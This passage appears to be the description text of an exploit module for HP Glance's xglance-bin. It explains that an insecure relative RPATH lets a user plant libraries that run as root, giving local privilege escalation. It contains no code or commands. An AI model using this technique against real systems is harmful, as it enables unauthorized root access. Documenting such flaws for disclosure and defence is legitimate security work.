          This exploit takes advantage of xglance-bin, part of
          HP's Glance (or Performance Monitoring) version 11 'and subsequent'
          , which was compiled with an insecure RPATH option.  The RPATH includes
          a relative path to -L/lib64/ which can be controlled by a user.
          Creating libraries in this location will result in an
          escalation of privileges to root.
